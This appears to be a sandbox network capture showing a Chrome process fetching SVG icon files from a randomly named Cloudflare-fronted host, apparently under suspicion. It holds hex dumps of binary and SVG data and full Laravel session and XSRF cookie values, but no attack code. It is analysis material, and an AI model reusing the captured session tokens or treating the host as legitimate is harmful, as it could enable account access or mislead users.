2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a Data Ascii: 7G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 Data Ascii: {=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 Data Ascii: n^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 Data Ascii: .j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/
2024-08-23 14:21:58 UTC	474	IN	Data Raw: 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 77 59 Data Ascii: t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=wY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.16	49820	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1124	OUT	GET /eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	671	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BjixWwPHQbfUAyfpJ%2BiSydjEDSLOtWSjzgqvg5bZsPBo0V6AxBwkeH5HhgWmkxcj2E%2B4%2FdeUGmIWe310%2FMv%2B3%2FErNGRxRLbzmNDbuBZeaUU1KUhwehd%2FyaVvQGWqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc084494e7cee-EWR
2024-08-23 14:21:58 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-08-23 14:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.16	49821	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1120	OUT	GET /wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	659	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37wAifw4w%2BOmmrp5kqL00wqQn0E6mt4IuQRjwK%2F6TiYrTI323gFd2GTAeuwcvSRZgrs3ESM80b5NAmdypSwMYXL8287%2FohJmNGKWjQLCN4PdkldkMb%2Bu7v8khaw3fQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc084483c0f5f-EWR
2024-08-23 14:21:58 UTC	710	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e Data Ascii: ,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.
2024-08-23 14:21:58 UTC	833	IN	Data Raw: 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 Data Ascii: 8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293
2024-08-23 14:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.16	49822	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1121	OUT	GET /ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6xVGRCPq%2BtsajOZsTlVbiOGfZ9jqjeqNlOQw6C0nPj%2B%2B7B0lzP4GobBiiaQmHuCpt4yWjq1NCR9kUlLzvQjJ3U1VcNqp4pvUbuaqiuVjagwtfesT3iFL3cYcSHly1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc08489f943da-EWR
2024-08-23 14:21:58 UTC	711	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 Data Ascii: 62 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 4
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 Data Ascii: .9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 1
